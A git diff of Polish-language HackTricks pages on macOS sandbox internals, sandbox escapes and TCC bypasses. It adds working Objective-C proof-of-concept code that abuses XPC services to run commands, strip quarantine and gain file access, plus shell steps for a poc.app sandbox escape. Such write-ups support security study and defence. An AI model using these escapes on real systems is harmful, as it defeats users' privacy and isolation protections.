```bash # Get container config ## You need FDA to access the file, not even just root can read it @@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` > [!WARNING] -> Wszystko stworzone/zmodyfikowane przez aplikację w piaskownicy otrzyma **atrybut kwarantanny**. To uniemożliwi przestrzeni piaskownicy uruchomienie czegoś za pomocą **`open`**, wywołując Gatekeeper. +> Wszystko, co zostało utworzone/zmodyfikowane przez aplikację w piaskownicy, otrzyma **atrybut kwarantanny**. To uniemożliwi przestrzeni piaskownicy uruchomienie czegoś za pomocą **`open`**, wywołując Gatekeeper. ## Profile Piaskownicy -Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa **Języka Profilu Piaskownicy (SBPL)**, który wykorzystuje język programowania [**Scheme**](). +Profile piaskownicy to pliki konfiguracyjne, które wskazują, co będzie **dozwolone/zabronione** w tej **piaskownicy**. Używa języka **Sandbox Profile Language (SBPL)**, który wykorzystuje język programowania [**Scheme**](). Tutaj znajdziesz przykład: ```scheme @@ -141,9 +141,11 @@ Ważne **usługi systemowe** również działają w swoich własnych niestandard - **`/System/Library/Sandbox/Profiles`** - Inne profile sandboxów można sprawdzić w [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Aplikacje z **App Store** używają **profilu** **`/System/Library/Sandbox/Profiles/application.sb`**. Możesz sprawdzić w tym profilu, jak uprawnienia takie jak **`com.apple.security.network.server`** pozwalają procesowi korzystać z sieci. +Aplikacje z **App Store** używają **profilu** **`/System/Library/Sandbox/Profiles/application.sb`**. Możesz sprawdzić w tym profilu, jak uprawnienia takie jak **`com.apple.security.network.server`** pozwalają procesowi na korzystanie z sieci. -SIP to profil Sandbox o nazwie platform_profile w /System/Library/Sandbox/rootless.conf +Następnie niektóre **usługi demonów Apple** używają różnych profili znajdujących się w `/System/Library/Sandbox/Profiles/*.sb` lub `/usr/share/sandbox/*.sb`. Te sandboxy są stosowane w głównej funkcji wywołującej API `sandbox_init_XXX`. + +**SIP** to profil Sandbox o nazwie platform_profile w `/System/Library/Sandbox/rootless.conf`. ### Przykłady profili Sandbox @@ -229,11 +231,11 @@ Możliwe jest również zrobienie czegoś podobnego, wywołując `sandbox_vtrace ### Inspekcja Sandboxa -`libsandbox.dylib` eksportuje funkcję o nazwie sandbox_inspect_pid, która daje listę stanu sandboxa procesu (w tym rozszerzeń). Jednak tylko binaria platformowe mogą korzystać z tej funkcji. +`libsandbox.dylib` eksportuje funkcję o nazwie sandbox_inspect_pid, która daje listę stanu sandboxa procesu (w tym rozszerzenia). Jednak tylko binaria platformy mogą korzystać z tej funkcji. -### Profile Sandboxa w MacOS i iOS +### Profile Sandboxa MacOS i iOS -MacOS przechowuje profile sandboxa systemowego w dwóch lokalizacjach: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**. +MacOS przechowuje profile sandboxa systemu w dwóch lokalizacjach: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**. A jeśli aplikacja firm trzecich posiada uprawnienie _**com.apple.security.app-sandbox**_, system stosuje profil **/System/Library/Sandbox/Profiles/application.sb** do tego procesu. @@ -263,9 +265,9 @@ Ponadto, aby ograniczyć proces w kontenerze, może wywołać `sandbox_spawnattr ## Debugowanie i omijanie Sandbox -Na macOS, w przeciwieństwie do iOS, gdzie procesy są od początku piaskowane przez jądro, **procesy muszą same zdecydować o wejściu do sandboxu**. Oznacza to, że na macOS proces nie jest ograniczany przez sandbox, dopóki aktywnie nie zdecyduje się do niego wejść, chociaż aplikacje z App Store są zawsze piaskowane. +Na macOS, w przeciwieństwie do iOS, gdzie procesy są od początku izolowane przez jądro, **procesy muszą same zdecydować o wejściu do sandboxu**. Oznacza to, że na macOS proces nie jest ograniczany przez sandbox, dopóki aktywnie nie zdecyduje się do niego wejść, chociaż aplikacje z App Store są zawsze izolowane. -Procesy są automatycznie piaskowane z userland, gdy się uruchamiają, jeśli mają uprawnienie: `com.apple.security.app-sandbox`. Aby uzyskać szczegółowe wyjaśnienie tego procesu, sprawdź: +Procesy są automatycznie izolowane z userland, gdy się uruchamiają, jeśli mają uprawnienie: `com.apple.security.app-sandbox`. Aby uzyskać szczegółowe wyjaśnienie tego procesu, sprawdź: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -305,7 +307,7 @@ sbtool all Możliwe jest również zawieszenie i wznowienie piaskownicy za pomocą funkcji `sandbox_suspend` i `sandbox_unsuspend` z `libsystem_sandbox.dylib`. -Należy zauważyć, że aby wywołać funkcję zawieszenia, sprawdzane są pewne uprawnienia, aby autoryzować wywołującego do jej wywołania, takie jak: +Należy zauważyć, że aby wywołać funkcję zawieszenia, sprawdzane są pewne uprawnienia w celu autoryzacji wywołującego, takie jak: - com.apple.private.security.sandbox-manager - com.apple.security.print @@ -319,7 +321,7 @@ Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwsz - **set_profile (#0)**: Zastosuj skompilowany lub nazwany profil do procesu. - **platform_policy (#1)**: Wymuś kontrole polityki specyficzne dla platformy (różni się między macOS a iOS). -- **check_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji w piaskownicy. +- **check_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji piaskownicy. - **note (#3)**: Dodaje notację do piaskownicy. - **container (#4)**: Dołącz notację do piaskownicy, zazwyczaj w celach debugowania lub identyfikacji. - **extension_issue (#5)**: Generuje nową rozszerzenie dla procesu. @@ -340,4 +342,40 @@ Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwsz - **check_bulk (#21)**: Wykonaj wiele operacji `sandbox_check` w jednym wywołaniu. - **reference_retain_by_audit_token (#28)**: Utwórz odniesienie do tokena audytu do użycia w kontrolach piaskownicy. - **reference_release (#29)**: Zwolnij wcześniej zachowane odniesienie do tokena audytu. -- **rootless_all +- **rootless_allows_task_for_pid (#30)**: Sprawdź, czy `task_for_pid` jest dozwolone (podobnie jak kontrole `csr`). +- **rootless_whitelist_push (#31)**: (macOS) Zastosuj plik manifestu System Integrity Protection (SIP). +- **rootless_whitelist_check (preflight) (#32)**: Sprawdź plik manifestu SIP przed wykonaniem. +- **rootless_protected_volume (#33)**: (macOS) Zastosuj ochrony SIP do dysku lub partycji. +- **rootless_mkdir_protected (#34)**: Zastosuj ochronę SIP/DataVault do procesu tworzenia katalogu. + +## Sandbox.kext + +Należy zauważyć, że w iOS rozszerzenie jądra zawiera **wbudowane wszystkie profile** wewnątrz segmentu `__TEXT.__const`, aby uniknąć ich modyfikacji. Oto niektóre interesujące funkcje z rozszerzenia jądra: + +- **`hook_policy_init`**: Hookuje `mpo_policy_init` i jest wywoływana po `mac_policy_register`. Wykonuje większość inicjalizacji piaskownicy. Inicjalizuje również SIP. +- **`hook_policy_initbsd`**: Ustawia interfejs sysctl rejestrując `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (jeśli uruchomione z `PE_i_can_has_debugger`). +- **`hook_policy_syscall`**: Jest wywoływana przez `mac_syscall` z "Sandbox" jako pierwszy argument i kod wskazujący operację w drugim. Używany jest switch do znalezienia kodu do uruchomienia zgodnie z żądanym kodem. + +### MACF Hooks + +**`Sandbox.kext`** używa ponad stu hooków za pośrednictwem MACF. Większość hooków sprawdzi tylko niektóre trywialne przypadki, które pozwalają na wykonanie akcji, jeśli nie, wywołają **`cred_sb_evalutate`** z **poświadczeniami** z MACF i numerem odpowiadającym **operacji** do wykonania oraz **buforem** na wyjście. + +Dobrym przykładem jest funkcja **`_mpo_file_check_mmap`**, która hookuje **`mmap`** i która zacznie sprawdzać, czy nowa pamięć będzie zapisywalna (a jeśli nie, pozwoli na wykonanie), następnie sprawdzi, czy jest używana dla wspólnej pamięci dyld, a jeśli tak, pozwoli na wykonanie, a na koniec wywoła **`sb_evaluate_internal`** (lub jeden z jego wrapperów), aby przeprowadzić dalsze kontrole zezwolenia. + +Ponadto, spośród setek hooków, które używa Sandbox, są 3, które są szczególnie interesujące: + +- `mpo_proc_check_for`: Zastosowuje profil, jeśli to konieczne i jeśli nie był wcześniej zastosowany. +- `mpo_vnode_check_exec`: Wywoływana, gdy proces ładuje powiązany binarny plik, następnie przeprowadzana jest kontrola profilu oraz kontrola zabraniająca wykonywania SUID/SGID. +- `mpo_cred_label_update_execve`: Wywoływana, gdy przypisywana jest etykieta. Jest to najdłuższa, ponieważ jest wywoływana, gdy binarny plik jest w pełni załadowany, ale jeszcze nie został wykonany. Wykona takie działania jak tworzenie obiektu piaskownicy, dołączenie struktury piaskownicy do poświadczeń kauth, usunięcie dostępu do portów mach... + +Należy zauważyć, że **`_cred_sb_evalutate`** jest wrapperem nad **`sb_evaluate_internal`** i ta funkcja pobiera przekazane poświadczenia, a następnie wykonuje ocenę za pomocą funkcji **`eval`**, która zazwyczaj ocenia **profil platformy**, który domyślnie jest stosowany do wszystkich procesów, a następnie **specyficzny profil procesu**. Należy zauważyć, że profil platformy jest jednym z głównych komponentów **SIP** w macOS. + +## Sandboxd + +Piaskownica ma również działającego demona użytkownika, który udostępnia usługę XPC Mach `com.apple.sandboxd` i wiąże specjalny port 14 (`HOST_SEATBELT_PORT`), którego rozszerzenie jądra używa do komunikacji z nim. Udostępnia niektóre funkcje za pomocą MIG. + +## References + +- [**\*OS Internals Volume III**](https://newosxbook.com/home.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index d939c297f..deb1b9cff 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -6,7 +6,7 @@

Obraz z http://newosxbook.com/files/HITSB.pdf

-Na poprzednim obrazie można zaobserwować **jak sandbox będzie ładowany** gdy aplikacja z uprawnieniem **`com.apple.security.app-sandbox`** jest uruchamiana. +Na poprzednim obrazie można zaobserwować **jak sandbox będzie ładowany**, gdy uruchomiona zostanie aplikacja z uprawnieniem **`com.apple.security.app-sandbox`**. Kompilator połączy `/usr/lib/libSystem.B.dylib` z binarnym plikiem. @@ -22,7 +22,7 @@ Na koniec sandbox zostanie aktywowany przez wywołanie **`__sandbox_ms`**, któr To zostało zrobione w [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** > [!CAUTION] -> Dlatego w tej chwili, jeśli jesteś w stanie stworzyć folder z nazwą kończącą się na **`.app`** bez atrybutu kwarantanny, możesz uciec z sandboxa, ponieważ macOS tylko **sprawdza** atrybut **kwarantanny** w **folderze `.app`** i w **głównym pliku wykonywalnym** (a my wskażemy główny plik wykonywalny na **`/bin/bash`**). +> Dlatego w tej chwili, jeśli jesteś w stanie utworzyć folder z nazwą kończącą się na **`.app`** bez atrybutu kwarantanny, możesz uciec z sandboxa, ponieważ macOS tylko **sprawdza** atrybut **kwarantanny** w **folderze `.app`** i w **głównym pliku wykonywalnym** (a my wskażemy główny plik wykonywalny na **`/bin/bash`**). > > Zauważ, że jeśli pakiet .app został już autoryzowany do uruchomienia (ma atrybut kwarantanny z flagą autoryzacji do uruchomienia), możesz również to nadużyć... z wyjątkiem tego, że teraz nie możesz pisać wewnątrz pakietów **`.app`**, chyba że masz jakieś uprzywilejowane uprawnienia TCC (których nie będziesz miał w sandboxie o wysokim poziomie). @@ -41,9 +41,9 @@ Jak wyjaśniono w [**tym poście**](https://www.vicarius.io/vsociety/posts/cve-2 ### Nadużywanie lokalizacji Auto Start -Jeśli proces sandboxowany może **zapisać** w miejscu, w którym **później uruchomi się aplikacja bez sandboxa**, będzie mógł **uciec, po prostu umieszczając** tam binarny plik. Dobrym przykładem takich lokalizacji są `~/Library/LaunchAgents` lub `/System/Library/LaunchDaemons`. +Jeśli proces sandboxowany może **zapisywać** w miejscu, w którym **później uruchomi się aplikacja bez sandboxa**, będzie mógł **uciec, po prostu umieszczając** tam binarny plik. Dobrym przykładem takich lokalizacji są `~/Library/LaunchAgents` lub `/System/Library/LaunchDaemons`. -W tym celu możesz nawet potrzebować **2 kroków**: Aby proces z **bardziej permissywnym sandboxem** (`file-read*`, `file-write*`) wykonał twój kod, który faktycznie zapisze w miejscu, gdzie będzie **wykonywany bez sandboxa**. +W tym celu możesz nawet potrzebować **2 kroków**: Aby proces z **bardziej liberalnym sandboxem** (`file-read*`, `file-write*`) wykonał twój kod, który faktycznie zapisze w miejscu, w którym będzie **wykonywany bez sandboxa**. Sprawdź tę stronę o **lokacjach Auto Start**: @@ -53,26 +53,187 @@ Sprawdź tę stronę o **lokacjach Auto Start**: ### Nadużywanie innych procesów -Jeśli z procesu sandboxowego jesteś w stanie **skompromentować inne procesy** działające w mniej restrykcyjnych sandboxach (lub wcale), będziesz mógł uciec do ich sandboxów: +Jeśli z procesu sandboxowego jesteś w stanie **skomprobatować inne procesy** działające w mniej restrykcyjnych sandboxach (lub wcale), będziesz mógł uciec do ich sandboxów: {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -### Kompilacja statyczna i dynamiczne linkowanie +### Dostępne usługi Mach systemu i użytkownika -[**To badanie**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) odkryło 2 sposoby na obejście Sandboxa. Ponieważ sandbox jest stosowany z poziomu użytkownika, gdy biblioteka **libSystem** jest ładowana. Jeśli binarny plik mógłby uniknąć jej załadowania, nigdy nie zostałby poddany sandboxowi: +Sandbox pozwala również na komunikację z niektórymi **usługami Mach** za pośrednictwem XPC zdefiniowanymi w profilu `application.sb`. Jeśli uda ci się **nadużyć** jedną z tych usług, możesz być w stanie **uciec z sandboxa**. -- Jeśli binarny plik byłby **całkowicie skompilowany statycznie**, mógłby uniknąć załadowania tej biblioteki. -- Jeśli **binarny plik nie musiałby ładować żadnych bibliotek** (ponieważ linker jest również w libSystem), nie będzie musiał ładować libSystem. +Jak wskazano w [tym opracowaniu](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), informacje o usługach Mach są przechowywane w `/System/Library/xpc/launchd.plist`. Możliwe jest znalezienie wszystkich usług Mach systemu i użytkownika, przeszukując ten plik pod kątem `System` i `User`. -### Shellcodes +Ponadto możliwe jest sprawdzenie, czy usługa Mach jest dostępna dla aplikacji sandboxowanej, wywołując `bootstrap_look_up`: +```objectivec +void checkService(const char *serviceName) { +mach_port_t service_port = MACH_PORT_NULL; +kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port); +if (!err) { +NSLog(@"available service:%s", serviceName); +mach_port_deallocate(mach_task_self_, service_port); +} +} -Zauważ, że **nawet shellcodes** w ARM64 muszą być linkowane w `libSystem.dylib`: +void print_available_xpc(void) { +NSDictionary* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"]; +NSDictionary* launchDaemons = dict[@"LaunchDaemons"]; +for (NSString* key in launchDaemons) { +NSDictionary* job = launchDaemons[key]; +NSDictionary* machServices = job[@"MachServices"]; +for (NSString* serviceName in machServices) { +checkService(serviceName.UTF8String); +} +} +} +``` +### Dostępne usługi PID Mach + +Te usługi Mach były po raz pierwszy nadużywane do [ucieczki z piaskownicy w tym artykule](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). W tym czasie **wszystkie usługi XPC wymagane** przez aplikację i jej framework były widoczne w domenie PID aplikacji (są to usługi Mach z `ServiceType` jako `Application`). + +Aby **skontaktować się z usługą XPC w domenie PID**, wystarczy zarejestrować ją w aplikacji za pomocą linii takiej jak: +```objectivec +[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; +``` +Ponadto, możliwe jest znalezienie wszystkich usług Mach **Application** poprzez przeszukiwanie `System/Library/xpc/launchd.plist` w poszukiwaniu `Application`. + +Innym sposobem na znalezienie ważnych usług xpc jest sprawdzenie tych w: +```bash +find /System/Library/Frameworks -name "*.xpc" +find /System/Library/PrivateFrameworks -name "*.xpc" +``` +Kilka przykładów nadużywających tę technikę można znaleźć w [**oryginalnym opisie**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), jednak poniżej przedstawiono kilka podsumowanych przykładów. + +#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc + +Ta usługa pozwala na każde połączenie XPC, zawsze zwracając `YES`, a metoda `runTask:arguments:withReply:` wykonuje dowolne polecenie z dowolnymi parametrami. + +Eksploatacja była "tak prosta jak": +```objectivec +@protocol SKRemoteTaskRunnerProtocol +-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply; +@end + +void exploit_storagekitfsrunner(void) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)]; +[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}]; +[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}]; +[conn resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +Ta usługa XPC pozwalała każdemu klientowi, zawsze zwracając YES, a metoda `createZipAtPath:hourThreshold:withReply:` zasadniczo pozwalała wskazać ścieżkę do folderu do skompresowania, a ona skompresuje go w pliku ZIP. + +Dlatego możliwe jest wygenerowanie fałszywej struktury folderów aplikacji, skompresowanie jej, a następnie dekompresja i wykonanie, aby uciec z piaskownicy, ponieważ nowe pliki nie będą miały atrybutu kwarantanny. + +Eksploit był: +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +Ta usługa XPC umożliwia nadanie dostępu do odczytu i zapisu do dowolnego URL dla klienta XPC za pomocą metody `extendAccessToURL:completion:`, która akceptowała każde połączenie. Ponieważ usługa XPC ma FDA, możliwe jest nadużycie tych uprawnień w celu całkowitego obejścia TCC. + +Eksploit był: +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` +### Statyczne kompilowanie i dynamiczne linkowanie + +[**To badanie**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) odkryło 2 sposoby na obejście Sandbox. Ponieważ sandbox jest stosowany z poziomu użytkownika, gdy biblioteka **libSystem** jest ładowana. Jeśli binarka mogłaby uniknąć jej załadowania, nigdy nie zostałaby objęta sandboxem: + +- Jeśli binarka była **całkowicie statycznie skompilowana**, mogłaby uniknąć ładowania tej biblioteki. +- Jeśli **binarka nie musiałaby ładować żadnych bibliotek** (ponieważ linker jest również w libSystem), nie będzie musiała ładować libSystem. + +### Shellcode'y + +Zauważ, że **nawet shellcode'y** w ARM64 muszą być linkowane w `libSystem.dylib`: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` +### Ograniczenia, które nie są dziedziczone + +Jak wyjaśniono w **[bonusie tego opracowania](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ograniczenie sandboxa takie jak: +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +może być obejście przez nowy proces wykonujący na przykład: +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +Jednak oczywiście, ten nowy proces nie odziedziczy uprawnień ani przywilejów od procesu nadrzędnego. + ### Uprawnienia Zauważ, że nawet jeśli niektóre **działania** mogą być **dozwolone przez sandbox**, jeśli aplikacja ma określone **uprawnienie**, jak w: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 4a28ccaec..c8b7b4e3e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -26,7 +26,7 @@ Możliwe jest **umieszczenie okna nad monitorem TCC**, aby użytkownik **zaakcep ### Żądanie TCC przez dowolną nazwę -Napastnik może **tworzyć aplikacje o dowolnej nazwie** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, aby żądała dostępu do chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\ +Napastnik może **tworzyć aplikacje z dowolną nazwą** (np. Finder, Google Chrome...) w **`Info.plist`** i sprawić, że będzie żądać dostępu do chronionej lokalizacji TCC. Użytkownik pomyśli, że to legalna aplikacja żąda tego dostępu.\ Co więcej, możliwe jest **usunięcie legalnej aplikacji z Docka i umieszczenie na nim fałszywej**, więc gdy użytkownik kliknie na fałszywą (która może używać tego samego ikony), może wywołać legalną, poprosić o uprawnienia TCC i uruchomić złośliwe oprogramowanie, sprawiając, że użytkownik uwierzy, że to legalna aplikacja żądała dostępu.
@@ -153,27 +153,27 @@ Notatki miały dostęp do lokalizacji chronionych przez TCC, ale gdy notatka jes Binarne `/usr/libexec/lsd` z biblioteką `libsecurity_translocate` miało uprawnienie `com.apple.private.nullfs_allow`, co pozwalało na utworzenie **nullfs** montażu i miało uprawnienie `com.apple.private.tcc.allow` z **`kTCCServiceSystemPolicyAllFiles`**, aby uzyskać dostęp do każdego pliku. -Można było dodać atrybut kwarantanny do "Biblioteki", wywołać usługę XPC **`com.apple.security.translocation`**, a następnie mapować Bibliotekę do **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Bibliotece mogły być **dostępne**. +Można było dodać atrybut kwarantanny do "Biblioteki", wywołać usługę XPC **`com.apple.security.translocation`** i wtedy mapowałoby Bibliotekę na **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie wszystkie dokumenty w Bibliotece mogły być **dostępne**. ### CVE-2023-38571 - Muzyka i TV **`Muzyka`** ma interesującą funkcję: Gdy jest uruchomiona, **importuje** pliki wrzucone do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do "biblioteki multimedialnej" użytkownika. Ponadto wywołuje coś takiego jak: **`rename(a, b);`**, gdzie `a` i `b` to: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` -- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"` +- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` To **`rename(a, b);`** zachowanie jest podatne na **Race Condition**, ponieważ możliwe jest umieszczenie w folderze `Automatically Add to Music.localized` fałszywego pliku **TCC.db**, a następnie, gdy nowy folder (b) jest tworzony, skopiowanie pliku, usunięcie go i skierowanie go do **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -Jeśli **`SQLITE_SQLLOG_DIR="path/folder"`**, oznacza to zasadniczo, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisu** wewnątrz **bazy danych SQLite**, która ma być **otwarta przez proces z FDA bazą danych TCC**, a następnie nadużycie **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, tak że gdy ta baza danych jest **otwarta**, użytkownik **TCC.db jest nadpisywany** otwartą.\ +Jeśli **`SQLITE_SQLLOG_DIR="path/folder"`**, oznacza to zasadniczo, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisu** wewnątrz **bazy danych SQLite**, która ma być **otwarta przez proces z FDA bazą danych TCC**, a następnie nadużycie **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, aby gdy ta baza danych jest **otwarta**, użytkownik **TCC.db jest nadpisywany** otwartą.\ **Więcej informacji** [**w opisie**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i**[ **w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** -Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji używało tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite. +Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **rejestrować** wszystkie zapytania SQL. Wiele aplikacji korzystało z tej biblioteki, więc możliwe było rejestrowanie wszystkich ich zapytań SQLite. -Kilka aplikacji Apple używało tej biblioteki do uzyskiwania dostępu do informacji chronionych przez TCC. +Kilka aplikacji Apple korzystało z tej biblioteki, aby uzyskać dostęp do informacji chronionych przez TCC. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 @@ -184,7 +184,7 @@ Ta **zmienna środowiskowa jest używana przez framework `Metal`**, który jest Ustawiając następujące: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Jeśli `path` jest ważnym katalogiem, błąd zostanie wywołany i możemy użyć `fs_usage`, aby zobaczyć, co się dzieje w programie: -- plik zostanie `open()`ed, nazwany `path/.dat.nosyncXXXX.XXXXXX` (X jest losowe) +- plik zostanie `open()`ed, nazwany `path/.dat.nosyncXXXX.XXXXXX` (X jest losowy) - jeden lub więcej `write()` zapisze zawartość do pliku (nie kontrolujemy tego) - `path/.dat.nosyncXXXX.XXXXXX` zostanie `renamed()`d na `path/name` 